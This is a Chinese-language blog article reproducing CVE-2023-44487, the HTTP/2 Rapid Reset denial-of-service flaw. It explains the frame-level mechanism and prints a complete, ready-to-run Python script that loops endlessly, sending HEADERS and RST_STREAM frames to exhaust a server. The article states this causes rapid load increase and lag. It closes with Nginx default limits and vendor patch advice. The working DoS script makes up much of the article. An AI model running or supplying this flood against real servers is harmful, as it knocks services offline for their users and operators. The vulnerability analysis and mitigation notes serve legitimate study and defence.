声明
本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
一、漏洞原理
对于 HTTP/1.1来说,HTTP/2 协议的一个更新点在于 单连接上的多路复用
:就是说HTTP/2 协议允许在单个连接上同时发送多个请求,每个 HTTP 请求和响应都使用不同的流。
这些数据流称为 数据帧 ,其中比较重要的包括:
-
SETTINGS 帧:控制消息,用于传递关于 http2 连接的配置参数,例如 SETTINGS_MAX_CONCURRENT_STREAMS 定义连接上的最大并发流数目。
-
RST_STREAM 帧:直接取消一个流。如果客户端不想再接收服务端的响应,可以直接发送 RST_STREAM 帧。
客户端可以通过发送 RST_STREAM
帧直接取消一个流,当服务端收到一个 RST_STREAM
帧时,会直接关闭该流。
此时 客户端 可以不停向 服务器 发送请求,中间不用等待任何响应,导致 服务器 陷入了接受请求-处理请求-直接结束请求
的循环中。
攻击者就可以利用该漏洞,通过持续的HEADERS
、RST_STREAM
帧组合,来消耗 服务器 资源,进而影响 服务器 正常请求的处理,造成 DDoS 攻击。
二、编写python代码
#!/usr/bin/env python3
import socket
import ssl
import certifi
import h2.connection
import h2.events
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', SERVER_NAME),
]
while True:
stream_id = c.get_next_available_stream_id()
print(stream_id)
c.send_headers(stream_id, headers, end_stream=True)
s.sendall(c.data_to_send())
c.reset_stream(stream_id)
s.sendall(c.data_to_send())
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
# close the socket
s.close()
代码实现功能:不断发送 HEADERS 帧和 RST_STREAM 帧序列。
在本地或者云搭建好相应的服务器环境,HTTP/2协议,用py脚本进行测试运行,即可看到服务器负载快速增加,并且出现明显卡顿。
三、不受影响的版本:nginx
Nginx 中有如下的的默认值配置,该攻击对 Nginx 基本无影响:
-
keepalive_requests
:保持默认配置 1000 -
http2_max_concurrent_streams
:保持默认配置 128
Nginx 1.19.7 及其之后版本是通过keepalive_requests
来限制一个 HTTP/2 TCP 连接上请求总数量。
1.19.7 之前的版本是通过http2_max_requests
来实现该目的。
Nginx 能够限制一个 TCP 连接上的请求总数量为 1000 个。如果攻击者想持续利用该漏洞,就不得不新建新的 TCP 连接。文章来源:https://www.toymoban.com/news/detail-717885.html
四、漏洞预防
遵循供应商的建议,及时进行更新。Microsoft 已发布 IIS (HTTP.sys) 和 .NET (Kestrel) 的更新。Apache 软件基金会发布了 Tomcat 的更新,F5 发布了 Nginx 的更新。文章来源地址https://www.toymoban.com/news/detail-717885.html
到了这里,关于漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!